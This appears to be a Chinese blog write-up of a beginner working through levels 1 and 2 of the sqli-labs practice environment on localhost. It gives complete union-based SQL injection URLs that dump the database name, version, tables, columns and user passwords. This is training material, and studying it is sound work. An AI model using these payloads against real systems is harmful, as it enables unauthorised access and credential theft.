SQL注入入门之sqli-labs-master练习
sql注入小白练习
主要是没事,简单的整理了一下,直接步入正题。
0x001
首先是最简单的get字符型sql注入
第一步进行判断:
报错类型为字符,然后第二步就可以进行内联判断列了,这里我为了效率进行了一个省略,直接展示内联的回显结果:
可以看到我们在2,3位子是有回显的,这里我们就可以开始爆表名了:
http://127.0.0.1/sqli-labs-master/Less-1/?id= ’ union select 1,database(),3 --+(这里我习惯了在url中使用–+,因为使用#号的话要进行一个统一资源定位符的转换),下面是查询结果
好,得到数据库名为:security;
第二步爆表名:http://127.0.0.1/sqli-labs-master/Less-1/?id= ’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),3 --+
得到了四个表名:emails,referers,uagents,users;这里我们根据常识知道用户数据肯定是在users表里,所以下一步爆列名:http://127.0.0.1/sqli-labs-master/Less-1/id= ’ union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),3 --+
这里我们就得到了users表中的列名,根据列名,我们查询username,password就可以得到相关的数据了。
http://127.0.0.1/sqli-labs-master/Less-1/?id= ’ union select 1,(select group_concat(username,0x23,password) from users),3 --+(这里值得注意的是,我在username和password中间加了一个0x23,作用是将返回的两个数值进行一个区分,回显后的结果就是这样的:
至此,我们第一个实验就算完成了。
0x002
第二关
通过简单的测试发现和上一个不太一样,这次我们注入单引号发现不行了。那么这里立马试一试:and 1=1;and 1=2。发现可以,是一个数字型的注入点:
那么我们就继续,先试试内联注入:
很好,发现在order by 4的时候报错了,那么我们就锁定了这是一个有3列的数据库表。继续常规操作爆库(这里我们实战的时候一般建议先查看一下版本号),这里正好它有两个回显位,我就一并查看了:http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1=2 union select 1,database(),version() --+
Ok,我们看到了这里数据库名是security;它的一个版本号是5.5.47(版本号有利于我们了解到它是否含有一些已知漏洞,在后续的其他渗透中我们可以进一步利用)。接下来就是和第一关一样的爆表,爆列,爆数据了,我直接上图吧。
这些在第一关都是操作过的,唯一的就是这里我把它多显示了一个id值。还是采用的0x23也就是#进行了一个分隔。总结一下来说第一、第二关主要是考察sql注入的两种触发报错类型:数字和其他(其他统一都是用单引号/双引号)。
**
0x003
**
后面的内容我如果哪天有时间了再列出来吧,因为晚上敲的,所以里面关于sql的查询语句没有进行详细的解释。我在后面一章的内容里会单独介绍的。
作者博客:由此去